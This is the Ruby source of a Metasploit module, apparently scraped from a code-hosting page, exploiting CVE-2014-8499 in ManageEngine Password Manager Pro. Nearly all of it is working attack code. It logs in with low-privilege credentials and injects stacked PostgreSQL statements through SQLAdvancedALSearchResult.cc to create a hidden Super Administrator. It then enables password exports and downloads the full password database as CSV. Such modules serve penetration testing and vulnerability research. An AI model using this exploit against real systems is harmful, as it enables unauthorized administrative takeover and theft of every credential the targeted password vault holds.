Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection',14'Description' => %q{15ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection16vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate17privileges and obtain Super Administrator access. A Super Administrator can then18use his privileges to dump the whole password database in CSV format. PMP can use19both MySQL and PostgreSQL databases but this module only exploits the latter as20MySQL does not support stacked queries with Java. PostgreSQL is the default database21in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL,22so a higher version does not guarantee exploitability. This module has been tested23on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in24v7.1 build 7105 and above.25},26'Author' => [27'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module28],29'License' => MSF_LICENSE,30'References' => [31[ 'CVE', '2014-8499' ],32[ 'OSVDB', '114485' ],33[ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/18' ],34[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_pmp_privesc.txt' ],35],36'DisclosureDate' => '2014-11-08'37)38)3940register_options(41[42Opt::RPORT(7272),43OptBool.new('SSL', [true, 'Use SSL', true]),44OptString.new('USERNAME', [true, 'The username to login as', 'guest']),45OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']),46OptString.new('TARGETURI', [ true, 'Password Manager Pro application URI', '/'])47]48)49end5051def login(username, password)52# 1st step: we obtain a JSESSIONID cookie...53res = send_request_cgi({54'method' => 'GET',55'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc')56})5758if res && res.code == 20059# 2nd step: we try to get the ORGN_NAME and AUTHRULE_NAME from the page (which is only needed for the MSP versions)60if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="(\w*)"/61orgn_name = ::Regexp.last_match(1)62else63orgn_name = nil64end6566if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="(\w*)"/67authrule_name = ::Regexp.last_match(1)68else69authrule_name = nil70end7172# 3rd step: we try to get the domainName for the user73cookie = res.get_cookies74res = send_request_cgi({75'method' => 'POST',76'uri' => normalize_uri(target_uri.path, 'login', 'AjaxResponse.jsp'),77'ctype' => 'application/x-www-form-urlencoded',78'cookie' => cookie,79'vars_get' => {80'RequestType' => 'GetUserDomainName',81'userName' => username82}83})84if res && res.code == 200 && res.body85domain_name = res.body.to_s.strip86else87domain_name = nil88end8990# 4th step: authenticate to j_security_check, follow the redirect to PassTrixMain.cc and get its cookies.91# For some reason send_request_cgi! doesn't work, so follow the redirect manually...92vars_post = {93'j_username' => username,94'username' => username,95'j_password' => password96}97vars_post['ORGN_NAME'] = orgn_name if orgn_name98vars_post['AUTHRULE_NAME'] = authrule_name if authrule_name99vars_post['domainName'] = domain_name if domain_name100101res = send_request_cgi({102'method' => 'POST',103'uri' => normalize_uri(target_uri.path, 'j_security_check;' + cookie.to_s.gsub(';', '')),104'ctype' => 'application/x-www-form-urlencoded',105'cookie' => cookie,106'vars_post' => vars_post107})108if res && res.code == 302109res = send_request_cgi({110'method' => 'GET',111'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc'),112'cookie' => cookie113})114115if res && res.code == 200116# 5th step: get the c ookies sent in the last response117return res.get_cookies118end119end120end121return nil122end123124def inject_sql(old_style)125# On versions older than 7000 the injection is slightly different (we call it "old style").126# For "new style" versions we can escalate to super admin by doing127# "update aaaauthorizedrole set role_id=1 where account_id=#{user_id};insert into ptrx_superadmin values (#{user_id},true);"128# However for code simplicity let's just create a brand new user which works for both "old style" and "new style" versions.129if old_style130sqli_prefix = '\\\'))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';'131else132sqli_prefix = '\\\'))))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") AS Ptrx_DummyPwds GROUP BY "PTRX_RID","PTRX_RNAME","PTRX_DESC","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';'133end134135user_id = Rex::Text.rand_text_numeric(4)136time = Rex::Text.rand_text_numeric(8)137username = Rex::Text.rand_text_alpha_lower(6)138username_chr = ''139username.each_char do |c|140username_chr << 'chr(' << c.ord.to_s << ')||'141end142username_chr.chop!.chop!143144password = Rex::Text.rand_text_alphanumeric(10)145password_chr = ''146password.each_char do |c|147password_chr << 'chr(' << c.ord.to_s << ')||'148end149password_chr.chop!.chop!150151group_chr = ''152'Default Group'.each_char do |c|153group_chr << 'chr(' << c.ord.to_s << ')||'154end155group_chr.chop!.chop!156157sqli_command =158"insert into aaauser values (#{user_id},$$$$,$$$$,$$$$,#{time},$$$$);" \159"insert into aaapassword values (#{user_id},#{password_chr},$$$$,0,2,1,#{time});" \160"insert into aaauserstatus values (#{user_id},$$ACTIVE$$,#{time});" \161"insert into aaalogin values (#{user_id},#{user_id},#{username_chr});" \162"insert into aaaaccount values (#{user_id},#{user_id},1,1,#{time});" \163"insert into aaaauthorizedrole values (#{user_id},1);" \164"insert into aaaaccountstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \165"insert into aaapasswordstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \166"insert into aaaaccadminprofile values (#{user_id},$$" + Rex::Text.rand_text_alpha_upper(8) + '$$,-1,-1,-1,-1,-1,false,-1,-1,-1,$$$$);' \167"insert into aaaaccpassword values (#{user_id},#{user_id});" \168"insert into ptrx_resourcegroup values (#{user_id},3,#{user_id},0,0,0,0,#{group_chr},$$$$);" \169"insert into ptrx_superadmin values (#{user_id},true);"170sqli_suffix = '-- '171172res = send_request_cgi({173'method' => 'POST',174'uri' => normalize_uri(target_uri.path, 'SQLAdvancedALSearchResult.cc'),175'cookie' => @cookie,176'vars_post' => {177'COUNT' => Rex::Text.rand_text_numeric(2),178'SEARCH_ALL' => sqli_prefix + sqli_command + sqli_suffix,179'USERID' => Rex::Text.rand_text_numeric(4)180}181})182183return [ username, password ]184end185186def get_version187res = send_request_cgi({188'uri' => normalize_uri('PassTrixMain.cc'),189'method' => 'GET'190})191if res && res.code == 200 && res.body &&192res.body.to_s =~ /ManageEngine Password Manager Pro/ &&193(194res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6195res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6196res.body.to_s =~ %r{/themes/passtrix/V([0-9]+)/styles/login\.css"} # PMP v7197)198return ::Regexp.last_match(1).to_i199else200return 9999201end202end203204def check205version = get_version206case version207when 0..7104208return Exploit::CheckCode::Appears209when 7105..9998210return Exploit::CheckCode::Safe211else212return Exploit::CheckCode::Unknown213end214end215216def run217unless check == Exploit::CheckCode::Appears218print_error("Fingerprint hasn't been successful, trying to exploit anyway...")219end220221version = get_version222@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])223if @cookie.nil?224fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate.")225end226227creds = inject_sql(version < 7000)228username = creds[0]229password = creds[1]230print_good("Created a new Super Administrator with username: #{username} | password: #{password}")231232cookie_su = login(username, password)233234if cookie_su.nil?235fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.")236end237238print_status('Reporting Super Administrator credentials...')239store_valid_credentail(user: username, private: password)240241print_status('Leaking Password database...')242loot_passwords(cookie_su)243end244245def service_details246super.merge({ access_level: 'Super Administrator' })247end248249def loot_passwords(cookie_admin)250# 1st we turn on password exports251send_request_cgi({252'method' => 'POST',253'uri' => normalize_uri(target_uri.path, 'ConfigureOffline.ve'),254'cookie' => cookie_admin,255'vars_post' => {256'IS_XLS' => 'true',257'includePasswd' => 'true',258'HOMETAB' => 'true',259'RESTAB' => 'true',260'RGTAB' => 'true',261'PASSWD_RULE' => 'Offline Password File',262'LOGOUT_TIME' => '20'263}264})265266# now get the loot!267res = send_request_cgi({268'method' => 'GET',269'uri' => normalize_uri(target_uri.path, 'jsp', 'xmlhttp', 'AjaxResponse.jsp'),270'cookie' => cookie_admin,271'vars_get' => {272'RequestType' => 'ExportResources'273}274})275276if res && res.code == 200 && res.body && !res.body.to_s.empty?277vprint_line(res.body.to_s)278print_good('Successfully exported password database from Password Manager Pro.')279loot_name = 'manageengine.passwordmanagerpro.password.db'280loot_type = 'text/csv'281loot_filename = 'manageengine_pmp_password_db.csv'282loot_desc = 'ManageEngine Password Manager Pro Password DB'283p = store_loot(284loot_name,285loot_type,286rhost,287res.body,288loot_filename,289loot_desc290)291print_status("Password database saved in: #{p}")292else293print_error('Failed to export Password Manager Pro passwords.')294end295end296end297298299